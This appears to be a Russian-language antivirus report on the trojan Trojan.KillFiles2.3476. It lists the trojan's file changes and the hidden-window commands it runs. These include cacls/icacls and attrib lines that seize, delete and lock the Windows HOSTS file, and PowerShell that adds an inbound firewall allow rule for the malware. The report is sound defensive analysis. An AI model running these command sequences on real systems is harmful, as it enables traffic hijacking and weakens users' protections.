Trojan.KillFiles2.3476

Техническая информация

Изменения в файловой системе

Создает следующие файлы

<DRIVERS>\etc\hosts.ics

Присваивает атрибут 'скрытый' для следующих файлов

<DRIVERS>\etc\hosts.ics

Удаляет следующие файлы

<DRIVERS>\etc\hosts

Подменяет файл HOSTS.

Другое

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /C powershell -Command "Get-NetFirewallRule -DisplayName 'TurkWinSock' | Remove-NetFirewallRule -Confirm:$false" (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts.ics" /P user:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts.ics" /P everyone:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts.ics" /P everyone:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts.ics" /P alla:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts.ics" /P alla:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts.ics" /P all:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts.ics" /P all:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts.ics" /P here:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts.ics" /P here:f
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts.ics" /reset (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts.ics" /reset
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts.ics" /grant Everyone:F (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts.ics" /grant Everyone:F
'<SYSTEM32>\cmd.exe' /C attrib -s -h -a "<DRIVERS>\etc\hosts.ics" (со скрытым окном)
'<SYSTEM32>\attrib.exe' -s -h -a "<DRIVERS>\etc\hosts.ics"
'<SYSTEM32>\cmd.exe' /C DEL /F /Q /A "<DRIVERS>\etc\hosts.ics" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C RD /S /Q "<DRIVERS>\etc\hosts.ics" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts.ics" /grant *S-1-5-32-544:(OI)(CI)F (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts.ics" /grant *S-1-5-32-544:(OI)(CI)F
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts.ics" /deny everyone:D (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts.ics" /deny everyone:D
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts.ics" /inheritance:r (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts.ics" /inheritance:r
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts.ics" /remove:g everyone /remove:g users /remove:g "authenticated users" (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts.ics" /remove:g everyone /remove:g users /remove:g "authenticated users"
'<SYSTEM32>\cmd.exe' /C ipconfig /flushdns (со скрытым окном)
'<SYSTEM32>\ipconfig.exe' /flushdns
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts.ics" /P %username%:f (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc" /inheritance:r /remove:g everyone /remove:g users /remove:g authenticated users /T (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /remove:g everyone /remove:g users /remove:g "authenticated users"
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /inheritance:r
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-NetFirewallRule -DisplayName 'TurkWinSock' | Remove-NetFirewallRule -Confirm:$false"
'<SYSTEM32>\cmd.exe' /C powershell -Command "New-NetFirewallRule -DisplayName 'TurkWinSock' -Direction Inbound -Program '<Полный путь к файлу>' -Action Allow -Profile Any -Protocol TCP" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "New-NetFirewallRule -DisplayName 'TurkWinSock' -Direction Inbound -Program '<Полный путь к файлу>' -Action Allow -Profile Any -Protocol TCP"
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts" /P %username%:f (со скрытым окном)
'<SYSTEM32>\cmd.exe' /S /D /c" echo y"
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts" /P user:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts" /P everyone:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts" /P everyone:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts" /P alla:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts" /P alla:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts" /P all:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts" /P all:f
'<SYSTEM32>\cmd.exe' /C echo y|cacls "<DRIVERS>\etc\hosts" /P here:f (со скрытым окном)
'<SYSTEM32>\cacls.exe' "<DRIVERS>\etc\hosts" /P here:f
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts" /reset (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /reset
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts" /grant Everyone:F (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /grant Everyone:F
'<SYSTEM32>\cmd.exe' /C attrib -s -h -a "<DRIVERS>\etc\hosts" (со скрытым окном)
'<SYSTEM32>\attrib.exe' -s -h -a "<DRIVERS>\etc\hosts"
'<SYSTEM32>\cmd.exe' /C DEL /F /Q /A "<DRIVERS>\etc\hosts" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C RD /S /Q "<DRIVERS>\etc\hosts" (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts" /grant *S-1-5-32-544:(OI)(CI)F (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /grant *S-1-5-32-544:(OI)(CI)F
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts" /deny everyone:D (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc\hosts" /deny everyone:D
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts" /inheritance:r (со скрытым окном)
'<SYSTEM32>\cmd.exe' /C icacls "<DRIVERS>\etc\hosts" /remove:g everyone /remove:g users /remove:g "authenticated users" (со скрытым окном)
'<SYSTEM32>\icacls.exe' "<DRIVERS>\etc" /inheritance:r /remove:g everyone /remove:g users /remove:g authenticated users /T